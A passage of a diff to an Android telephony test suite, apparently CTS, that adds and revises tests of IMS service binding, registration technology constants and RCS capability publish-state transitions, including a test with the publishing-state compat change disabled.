+    private static final String SUPPORT_PUBLISHING_STATE_STRING = "SUPPORT_PUBLISHING_STATE";
+
     private static final String TEST_RCS_CONFIG_DEFAULT = "<?xml version=\"1.0\"?>\n"
             + "<wap-provisioningdoc version=\"1.1\">\n"
             + "\t<characteristic type=\"APPLICATION\">\n"
@@ -201,6 +232,8 @@
     private static final String FILE_TRANSFER_SERVICE_ID =
             "org.openmobilealliance:File-Transfer-HTTP";
 
+    private static final int FEATURE_STATE_READY = 0;
+
     private static CarrierConfigReceiver sReceiver;
     private static SingleRegistrationCapabilityReceiver sSrcReceiver;
 
@@ -365,10 +398,15 @@
 
     @After
     public void afterTest() throws Exception {
+        TelephonyUtils.resetCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                TelephonyUtils.CTS_APP_PACKAGE, SUPPORT_PUBLISHING_STATE_STRING);
+        TelephonyUtils.resetCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                TelephonyUtils.CTS_APP_PACKAGE, SUPPORT_PROVISION_STATUS_FOR_CAPABILITY_STRING);
+
         if (!ImsUtils.shouldTestImsService()) {
             return;
         }
-        // Unbind the GTS ImsService after the test completes.
+        // Unbind the ImsService after the test completes.
         if (sServiceConnector != null) {
             sServiceConnector.setSingleRegistrationTestModeEnabled(false);
             sServiceConnector.disconnectCarrierImsService();
@@ -391,6 +429,26 @@
                 TestImsService.LATCH_CREATE_RCS);
         assertNotNull("ImsService created, but ImsService#createRcsFeature was not called!",
                 sServiceConnector.getCarrierService().getRcsFeature());
+        assertTrue("Not expected subId received!",
+                isExpectedSubId(sServiceConnector.getCarrierService().getSubIDs()));
+    }
+
+    @Test
+    public void testCarrierImsServiceBindRcsFeatureForExecutor() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        sServiceConnector.setExecutorTestType(true);
+        // Connect to the ImsService with the RCS feature.
+        assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+                .build()));
+        // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_CREATE_RCS);
+        assertNotNull("ImsService created, but ImsService#createRcsFeature was not called!",
+                sServiceConnector.getCarrierService().getRcsFeature());
     }
 
     @Test
@@ -411,6 +469,8 @@
         // Wait for the framework to set the capabilities on the ImsService
         sServiceConnector.getCarrierService().waitForLatchCountdown(
                 TestImsService.LATCH_MMTEL_CAP_SET);
+        assertTrue("Not expected subId received!",
+                isExpectedSubId(sServiceConnector.getCarrierService().getSubIDs()));
     }
 
     @Test
@@ -440,6 +500,8 @@
         assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
                 TestImsService.LATCH_DISABLE_IMS));
         assertFalse(sServiceConnector.getCarrierService().isEnabled());
+        assertTrue("Not expected subId received!",
+                isExpectedSubId(sServiceConnector.getCarrierService().getSubIDs()));
     }
 
     @Test
@@ -468,6 +530,41 @@
         // Wait for the framework to set the capabilities on the ImsService
         sServiceConnector.getCarrierService().waitForLatchCountdown(
                 TestImsService.LATCH_MMTEL_CAP_SET);
+        assertTrue("Not expected subId received!",
+                isExpectedSubId(sServiceConnector.getCarrierService().getSubIDs()));
+    }
+
+    @Test
+    public void testCarrierImsServiceBindRcsChangeToMmtelCompat() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // Connect to the ImsService with the RCS feature.
+        ImsFeatureConfiguration config = new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+                .build();
+        assertTrue(sServiceConnector.connectCarrierImsServiceLocally());
+        sServiceConnector.getCarrierService().resetState();
+        // Set the flag for ImsService compatibility test.
+        sServiceConnector.getCarrierService().setImsServiceCompat();
+        assertTrue(sServiceConnector.triggerFrameworkConnectionToCarrierImsService(config));
+        // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_CREATE_RCS));
+
+        // Change the supported feature to MMTEl
+        sServiceConnector.getCarrierService().getImsServiceCompat().onUpdateSupportedImsFeatures(
+                new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL).build());
+
+        // createMmTelFeature should be called.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_CREATE_MMTEL));
+
+        // Wait for the framework to set the capabilities on the ImsService
+        sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_MMTEL_CAP_SET);
     }
 
     @Test
@@ -505,6 +602,8 @@
         // Wait for the framework to set the capabilities on the ImsService
         sServiceConnector.getCarrierService().waitForLatchCountdown(
                 TestImsService.LATCH_MMTEL_CAP_SET);
+        assertTrue("Not expected subId received!",
+                isExpectedSubId(sServiceConnector.getCarrierService().getSubIDs()));
     }
 
     @Test
@@ -948,28 +1047,28 @@
         assertEquals(ImsReasonInfo.CODE_LOCAL_NOT_REGISTERED, deregResult.getCode());
 
         // Start registration
-        verifyRegistering(ImsRegistrationImplBase.REGISTRATION_TECH_LTE, featureTags, mRegQueue,
+        verifyRegistering(IMS_REGI_TECH_LTE, featureTags, mRegQueue,
                 AccessNetworkConstants.TRANSPORT_TYPE_WWAN, 0 /*expected flags*/);
 
         // move to NR
-        verifyRegistering(ImsRegistrationImplBase.REGISTRATION_TECH_NR, featureTags, mRegQueue,
+        verifyRegistering(IMS_REGI_TECH_NR, featureTags, mRegQueue,
                 AccessNetworkConstants.TRANSPORT_TYPE_WWAN, 0 /*expected flags*/);
 
         // move to cross sim
-        verifyRegistering(ImsRegistrationImplBase.REGISTRATION_TECH_CROSS_SIM, featureTags,
+        verifyRegistering(IMS_REGI_TECH_CROSS_SIM, featureTags,
                 mRegQueue, AccessNetworkConstants.TRANSPORT_TYPE_WLAN,
                 ImsRegistrationAttributes.ATTR_EPDG_OVER_CELL_INTERNET);
 
         // Complete registration
-        verifyRegistered(ImsRegistrationImplBase.REGISTRATION_TECH_LTE, featureTags, mRegQueue,
+        verifyRegistered(IMS_REGI_TECH_LTE, featureTags, mRegQueue,
                 AccessNetworkConstants.TRANSPORT_TYPE_WWAN, 0 /*expected flags*/);
 
         // move to NR
-        verifyRegistered(ImsRegistrationImplBase.REGISTRATION_TECH_NR, featureTags, mRegQueue,
+        verifyRegistered(IMS_REGI_TECH_NR, featureTags, mRegQueue,
                 AccessNetworkConstants.TRANSPORT_TYPE_WWAN, 0 /*expected flags*/);
 
         // move to cross sim
-        verifyRegistered(ImsRegistrationImplBase.REGISTRATION_TECH_CROSS_SIM, featureTags,
+        verifyRegistered(IMS_REGI_TECH_CROSS_SIM, featureTags,
                 mRegQueue, AccessNetworkConstants.TRANSPORT_TYPE_WLAN,
                 ImsRegistrationAttributes.ATTR_EPDG_OVER_CELL_INTERNET);
 
@@ -1057,17 +1156,17 @@
 
         // Start registration
         sServiceConnector.getCarrierService().getImsRegistration().onRegistering(
-                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+                IMS_REGI_TECH_LTE);
         assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN, waitForIntResult(mQueue));
 
         // Complete registration
         sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
-                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+                IMS_REGI_TECH_LTE);
         assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN, waitForIntResult(mQueue));
 
         // Fail handover to IWLAN
         sServiceConnector.getCarrierService().getImsRegistration().onTechnologyChangeFailed(
-                ImsRegistrationImplBase.REGISTRATION_TECH_IWLAN,
+                IMS_REGI_TECH_IWLAN,
                 new ImsReasonInfo(ImsReasonInfo.CODE_LOCAL_HO_NOT_FEASIBLE,
                         ImsReasonInfo.CODE_UNSPECIFIED, ""));
         assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WLAN, waitForIntResult(mQueue));
@@ -1075,7 +1174,7 @@
 
         // Ensure null ImsReasonInfo still results in non-null callback value.
         sServiceConnector.getCarrierService().getImsRegistration().onTechnologyChangeFailed(
-                ImsRegistrationImplBase.REGISTRATION_TECH_IWLAN, null);
+                IMS_REGI_TECH_IWLAN, null);
         assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WLAN, waitForIntResult(mQueue));
         assertEquals(ImsReasonInfo.CODE_UNSPECIFIED, waitForIntResult(mQueue));
 
@@ -1104,6 +1203,10 @@
 
     @Test
     public void testRcsDeviceCapabilitiesPublish() throws Exception {
+        TelephonyUtils.enableCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                TelephonyUtils.CTS_APP_PACKAGE,
+                SUPPORT_PUBLISHING_STATE_STRING);
+
         if (!ImsUtils.shouldTestImsService()) {
             return;
         }
@@ -1193,7 +1296,7 @@
 
         // IMS registers
         sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
-                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+                IMS_REGI_TECH_LTE);
 
         // Framework should not trigger the device capabilities publish when the framework doesn't
         // receive that the RcsUceAdapter.CAPABILITY_TYPE_PRESENCE_UCE is enabled.
@@ -1220,6 +1323,8 @@
         // Verify ImsService receive the publish request from framework.
         assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
                 TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_PUBLISHING, waitForIntResult(publishStateQueue));
         assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
         publishStateQueue.clear();
 
@@ -1240,6 +1345,10 @@
         assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
                 TestImsService.LATCH_UCE_REQUEST_PUBLISH));
 
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_PUBLISHING, waitForIntResult(publishStateQueue));
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+
         // ImsService triggers the unpublish notification
         eventListener.onUnpublish();
 
@@ -1261,6 +1370,29 @@
         } finally {
             automan.dropShellPermissionIdentity();
         }
+        publishStateQueue.clear();
+
+        // ImsService triggers to notify framework publish updated.
+        eventListener.onPublishUpdated(200, "", 0, "");
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+
+        // Setup the operation of the publish request.
+        capExchangeImpl.setPublishOperator((listener, pidfXml, cb) -> {
+            int networkResp = 999;
+            String reason = "";
+            cb.onNetworkResponse(networkResp, reason);
+            listener.onPublish();
+        });
+        eventListener.onRequestPublishCapabilities(
+                RcsUceAdapter.CAPABILITY_UPDATE_TRIGGER_MOVE_TO_WLAN);
+
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_PUBLISHING, waitForIntResult(publishStateQueue));
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
 
         // Trigger RcsFeature is unavailable
         sServiceConnector.getCarrierService().getRcsFeature()
@@ -1275,6 +1407,9 @@
 
     @Test
     public void testPublishImsReg() throws Exception {
+        TelephonyUtils.enableCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                TelephonyUtils.CTS_APP_PACKAGE,
+                SUPPORT_PUBLISHING_STATE_STRING);
         if (!ImsUtils.shouldTestImsService()) {
             return;
         }
@@ -1349,14 +1484,8 @@
                 ImsException.class);
 
         // IMS registers
-        ArraySet<String> featureTags = new ArraySet<>();
-        // Chat Session
-        featureTags.add(CHAT_FEATURE_TAG);
-        featureTags.add(FILE_TRANSFER_FEATURE_TAG);
-        ImsRegistrationAttributes attr = new ImsRegistrationAttributes.Builder(
-                ImsRegistrationImplBase.REGISTRATION_TECH_LTE).setFeatureTags(featureTags).build();
-        sServiceConnector.getCarrierService().getImsRegistration().onRegistered(attr);
-        waitForParam(mQueue, attr);
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
+                IMS_REGI_TECH_LTE);
 
         // Notify framework that the RCS capability status is changed and PRESENCE UCE is enabled.
         RcsImsCapabilities capabilities =
@@ -1374,6 +1503,22 @@
         // Verify that the publish is triggered and receive the publish state changed callback.
         assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
                 TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_PUBLISHING, waitForIntResult(publishStateQueue));
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+
+        // IMS registers
+        ArraySet<String> featureTags = new ArraySet<>();
+        // Chat Session
+        featureTags.add(CHAT_FEATURE_TAG);
+        featureTags.add(FILE_TRANSFER_FEATURE_TAG);
+        ImsRegistrationAttributes attr = new ImsRegistrationAttributes.Builder(
+                IMS_REGI_TECH_LTE).setFeatureTags(featureTags).build();
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistered(attr);
+        waitForParam(mQueue, attr);
+
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_PUBLISHING, waitForIntResult(publishStateQueue));
         assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
         publishStateQueue.clear();
 
@@ -1393,6 +1538,13 @@
         assertTrue("PIDF XML doesn't contain FT service-id",
                 containsFileTransferServiceId);
 
+        publishStateQueue.clear();
+        // ImsService triggers to notify framework publish updated.
+        eventListener.onPublishUpdated(400, "", 0, "");
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_OTHER_ERROR,
+                waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+
         // Trigger RcsFeature is unavailable
         sServiceConnector.getCarrierService().getRcsFeature()
                 .setFeatureState(ImsFeature.STATE_UNAVAILABLE);
@@ -1440,9 +1592,9 @@
         capExchangeImpl.setPublishOperator((listener, pidfXml, cb) -> {
             int networkResp = 200;
             String reason = "";
+            receivedPidfXml.add(pidfXml);
             cb.onNetworkResponse(networkResp, reason);
             listener.onPublish();
-            receivedPidfXml.add(pidfXml);
         });
 
         Uri imsUri;
@@ -1457,9 +1609,35 @@
 
         final String expectedUriString = expectedUriBuilder.toString();
 
-        // IMS registers
-        sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
-                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+        LinkedBlockingQueue<ImsRegistrationAttributes> mQueue = new LinkedBlockingQueue<>();
+        RegistrationManager.RegistrationCallback callback =
+                new RegistrationManager.RegistrationCallback() {
+                    @Override
+                    public void onRegistered(ImsRegistrationAttributes attr) {
+                        mQueue.offer(attr);
+                    }
+
+                    @Override
+                    public void onRegistering(ImsRegistrationAttributes attr) {}
+
+                    @Override
+                    public void onUnregistered(ImsReasonInfo info) {}
+
+                    @Override
+                    public void onTechnologyChangeFailed(int type, ImsReasonInfo info) {}
+                };
+        ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(imsRcsManager,
+                (m) -> m.registerImsRegistrationCallback(getContext().getMainExecutor(), callback),
+                ImsException.class);
+
+        ArraySet<String> featureTags = new ArraySet<>();
+        // Chat Session
+        featureTags.add(CHAT_FEATURE_TAG);
+        featureTags.add(FILE_TRANSFER_FEATURE_TAG);
+        ImsRegistrationAttributes attr = new ImsRegistrationAttributes.Builder(
+                IMS_REGI_TECH_LTE).setFeatureTags(featureTags).build();
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistered(attr);
+        waitForParam(mQueue, attr);
 
         // Notify framework that the RCS capability status is changed and PRESENCE UCE is enabled.
         RcsImsCapabilities capabilities =
@@ -1507,11 +1685,17 @@
         assertFalse(receivedPidfXml.isEmpty());
         assertTrue(receivedPidfXml.get(0).contains(expectedUriString));
 
+        // Reset the received pidf xml data
+        receivedPidfXml.clear();
+
         overrideCarrierConfig(null);
     }
 
     @Test
     public void testRcsCapabilitiesPublishNetworkResponseWithReasonHeader() throws Exception {
+        TelephonyUtils.enableCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                TelephonyUtils.CTS_APP_PACKAGE,
+                SUPPORT_PUBLISHING_STATE_STRING);
         if (!ImsUtils.shouldTestImsService()) {
             return;
         }
@@ -1566,7 +1750,7 @@
 
         // IMS registers
         sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
-                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+                IMS_REGI_TECH_LTE);
 
         // Notify framework that the RCS capability status is changed and PRESENCE UCE is enabled.
         RcsImsCapabilities capabilities =
@@ -1584,6 +1768,8 @@
         // Verify the ImsService receive the publish request from framework.
         assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
                 TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_PUBLISHING, waitForIntResult(publishStateQueue));
         assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
         publishStateQueue.clear();
 
@@ -1613,6 +1799,7 @@
                 TestImsService.LATCH_UCE_REQUEST_PUBLISH));
 
         // Verify that receive the publish failed callback
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_PUBLISHING, waitForIntResult(publishStateQueue));
         assertEquals(RcsUceAdapter.PUBLISH_STATE_OTHER_ERROR,
                 waitForIntResult(publishStateQueue));
         publishStateQueue.clear();
@@ -1628,6 +1815,9 @@
 
     @Test
     public void testRcsPublishThrottle() throws Exception {
+        TelephonyUtils.enableCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                TelephonyUtils.CTS_APP_PACKAGE,
+                SUPPORT_PUBLISHING_STATE_STRING);
         if (!ImsUtils.shouldTestImsService()) {
             return;
         }
@@ -1685,7 +1875,7 @@
 
         // IMS registers
         sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
-                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+                IMS_REGI_TECH_LTE);
 
         // Verify the PUBLISH request should not be triggered and the publish state is still
         // NOT_PUBLISHED even the IMS is registered.
@@ -1716,8 +1906,11 @@
         // Verify that ImsService received the first PUBLISH
         assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
                 TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_PUBLISHING, waitForIntResult(publishStateQueue));
         assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
         publishStateQueue.clear();
+
         try {
             automation.adoptShellPermissionIdentity();
             int publishState = uceAdapter.getUcePublishState();
@@ -1751,6 +1944,9 @@
 
     @Test
     public void testRcsPublishWithSipOptions() throws Exception {
+        TelephonyUtils.enableCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                TelephonyUtils.CTS_APP_PACKAGE,
+                SUPPORT_PUBLISHING_STATE_STRING);
         if (!ImsUtils.shouldTestImsService()) {
             return;
         }
@@ -1807,7 +2003,7 @@
 
         // IMS registers
         sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
-                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+                IMS_REGI_TECH_LTE);
 
         // Verify the PUBLISH request should not be triggered and the publish state is still
         // OK even the IMS is registered.
@@ -1872,6 +2068,8 @@
 
         // Verify that the publish state should be changed from NOT_PUBLISHED to OK
         try {
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_PUBLISHING,
+                    waitForIntResult(publishStateQueue));
             assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
             automation.adoptShellPermissionIdentity();
             assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, uceAdapter.getUcePublishState());
@@ -1885,6 +2083,9 @@
 
     @Test
     public void testRcsPublishWithAuthorizedErrorResponse() throws Exception {
+        TelephonyUtils.enableCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                TelephonyUtils.CTS_APP_PACKAGE,
+                SUPPORT_PUBLISHING_STATE_STRING);
         if (!ImsUtils.shouldTestImsService()) {
             return;
         }
@@ -1941,7 +2142,7 @@
 
         // IMS registers
         sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
-                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+                IMS_REGI_TECH_LTE);
 
         // Notify framework that the RCS capability status is changed and PRESENCE UCE is enabled.
         RcsImsCapabilities capabilities =
@@ -1962,6 +2163,8 @@
 
         try {
             // Verify the publish state callback is received.
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_PUBLISHING,
+                    waitForIntResult(publishStateQueue));
             assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
             // Verify the value of getting from the API is PUBLISH_STATE_OK
             automation.adoptShellPermissionIdentity();
@@ -1984,8 +2187,45 @@
         eventListener.onRequestPublishCapabilities(
                 RcsUceAdapter.CAPABILITY_UPDATE_TRIGGER_MOVE_TO_WLAN);
 
+        // Verify ImsService receive the publish request from framework.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+
         try {
             // Verify the publish state callback is received.
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_PUBLISHING,
+                    waitForIntResult(publishStateQueue));
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_RCS_PROVISION_ERROR,
+                    waitForIntResult(publishStateQueue));
+            // Verify the value of getting from the API is PUBLISH_STATE_RCS_PROVISION_ERROR
+            automation.adoptShellPermissionIdentity();
+            int publishState = uceAdapter.getUcePublishState();
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_RCS_PROVISION_ERROR, publishState);
+        } finally {
+            publishStateQueue.clear();
+            automation.dropShellPermissionIdentity();
+        }
+
+        // Reply the SIP code 504 SERVER TIMEOUT
+        capExchangeImpl.setPublishOperator((listener, pidfXml, cb) -> {
+            int networkResp = 504;
+            String reason = "SERVER TIMEOUT";
+            cb.onNetworkResponse(networkResp, reason);
+            listener.onPublish();
+        });
+
+        // Notify framework to send the PUBLISH request to the ImsService.
+        eventListener.onRequestPublishCapabilities(
+                RcsUceAdapter.CAPABILITY_UPDATE_TRIGGER_MOVE_TO_WLAN);
+
+        // Verify ImsService receive the publish request from framework.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+
+        try {
+            // Verify the publish state callback is received.
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_PUBLISHING,
+                    waitForIntResult(publishStateQueue));
             assertEquals(RcsUceAdapter.PUBLISH_STATE_RCS_PROVISION_ERROR,
                     waitForIntResult(publishStateQueue));
             // Verify the value of getting from the API is PUBLISH_STATE_RCS_PROVISION_ERROR
@@ -2066,14 +2306,22 @@
         // Notify framework to send the PUBLISH request to the ImsService.
         eventListener.onRequestPublishCapabilities(
                 RcsUceAdapter.CAPABILITY_UPDATE_TRIGGER_MOVE_TO_WLAN);
+        // Verify ImsService receive the publish request from framework.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_REQUEST_PUBLISH));
 
+        // Verify the publish state callback is received.
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_PUBLISHING,
+                waitForIntResult(publishStateQueue));
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_RCS_PROVISION_ERROR,
+                waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
         try {
             // Verify the value of getting from the API is PUBLISH_STATE_RCS_PROVISION_ERROR
             automation.adoptShellPermissionIdentity();
             int publishState = uceAdapter.getUcePublishState();
             assertEquals(RcsUceAdapter.PUBLISH_STATE_RCS_PROVISION_ERROR, publishState);
         } finally {
-            publishStateQueue.clear();
             automation.dropShellPermissionIdentity();
         }
 
@@ -2101,6 +2349,178 @@
     }
 
     @Test
+    public void testRcsPublishWithDisableCompactCommand() throws Exception {
+        TelephonyUtils.disableCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                TelephonyUtils.CTS_APP_PACKAGE,
+                SUPPORT_PUBLISHING_STATE_STRING);
+
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // Trigger carrier config changed
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_VOLTE_PROVISIONED_BOOL, false);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, true);
+        overrideCarrierConfig(bundle);
+
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        if (imsManager == null) {
+            fail("Cannot find IMS service");
+        }
+
+        ImsRcsManager imsRcsManager = imsManager.getImsRcsManager(sTestSub);
+        RcsUceAdapter uceAdapter = imsRcsManager.getUceAdapter();
+
+        // Connect to device ImsService with MmTel feature and RCS feature
+        triggerFrameworkConnectToImsServiceBindMmTelAndRcsFeature();
+
+        TestRcsCapabilityExchangeImpl capExchangeImpl = sServiceConnector.getCarrierService()
+                .getRcsFeature().getRcsCapabilityExchangeImpl();
+
+        // Register the callback to listen to the publish state changed
+        LinkedBlockingQueue<Integer> publishStateQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.OnPublishStateChangedListener publishStateCallback =
+                new RcsUceAdapter.OnPublishStateChangedListener() {
+                    public void onPublishStateChange(int state) {
+                        publishStateQueue.offer(state);
+                    }
+                };
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            automan.adoptShellPermissionIdentity();
+            // register publish state callback
+            uceAdapter.addOnPublishStateChangedListener(getContext().getMainExecutor(),
+                    publishStateCallback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+        // Verify receiving the publish state callback immediately after registering the callback.
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED,
+                waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+
+        // Verify the value of getting from the API is NOT_PUBLISHED
+        try {
+            automan.adoptShellPermissionIdentity();
+            int publishState = uceAdapter.getUcePublishState();
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED, publishState);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // Setup the operation of the publish request.
+        capExchangeImpl.setPublishOperator((listener, pidfXml, cb) -> {
+            int networkResp = 200;
+            String reason = "";
+            cb.onNetworkResponse(networkResp, reason);
+            listener.onPublish();
+        });
+
+        // IMS registers
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
+                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+
+        // Framework should not trigger the device capabilities publish when the framework doesn't
+        // receive that the RcsUceAdapter.CAPABILITY_TYPE_PRESENCE_UCE is enabled.
+        if (publishStateQueue.poll() != null) {
+            fail("The publish callback should not be called because presence uce is not ready");
+        }
+
+        // Notify framework that the RCS capability status is changed and PRESENCE UCE is enabled.
+        RcsImsCapabilities capabilities =
+                new RcsImsCapabilities(RcsUceAdapter.CAPABILITY_TYPE_PRESENCE_UCE);
+        sServiceConnector.getCarrierService().getRcsFeature()
+                .notifyCapabilitiesStatusChanged(capabilities);
+
+        CapabilityExchangeEventListener eventListener =
+                sServiceConnector.getCarrierService().getRcsFeature().getEventListener();
+
+        // ImsService triggers to notify framework publish device's capabilities.
+        eventListener.onRequestPublishCapabilities(
+                RcsUceAdapter.CAPABILITY_UPDATE_TRIGGER_MOVE_TO_WLAN);
+
+        // Verify ImsService receive the publish request from framework.
+        // Sending Publish means that notifyPendingPublicRequest() has been processed.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+
+        // Since framework compatibility is disabled, the newly added publishing state should
+        // not be set and should be set to PUBLISH_STATE_OK
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+
+        // Verify the value of getting from the API is PUBLISH_STATE_OK
+        try {
+            automan.adoptShellPermissionIdentity();
+            int publishState = uceAdapter.getUcePublishState();
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, publishState);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // ImsService triggers to notify framework publish device's capabilities.
+        eventListener.onRequestPublishCapabilities(
+                RcsUceAdapter.CAPABILITY_UPDATE_TRIGGER_MOVE_TO_WLAN);
+        // Verify ImsService receive the publish request from framework.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+
+        // Since framework compatibility is disabled, the newly added publishing state should
+        // not be set and should be set to PUBLISH_STATE_OK
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+        // Verify the value of getting from the API is PUBLISH_STATE_OK
+        try {
+            automan.adoptShellPermissionIdentity();
+            int publishState = uceAdapter.getUcePublishState();
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, publishState);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+        publishStateQueue.clear();
+
+        // ImsService triggers to notify framework publish updated.
+        eventListener.onPublishUpdated(400, "", 0, "");
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_OTHER_ERROR,
+                waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+
+        // Verify the value of getting from the API is PUBLISH_STATE_OTHER_ERROR
+        try {
+            automan.adoptShellPermissionIdentity();
+            int publishState = uceAdapter.getUcePublishState();
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_OTHER_ERROR, publishState);
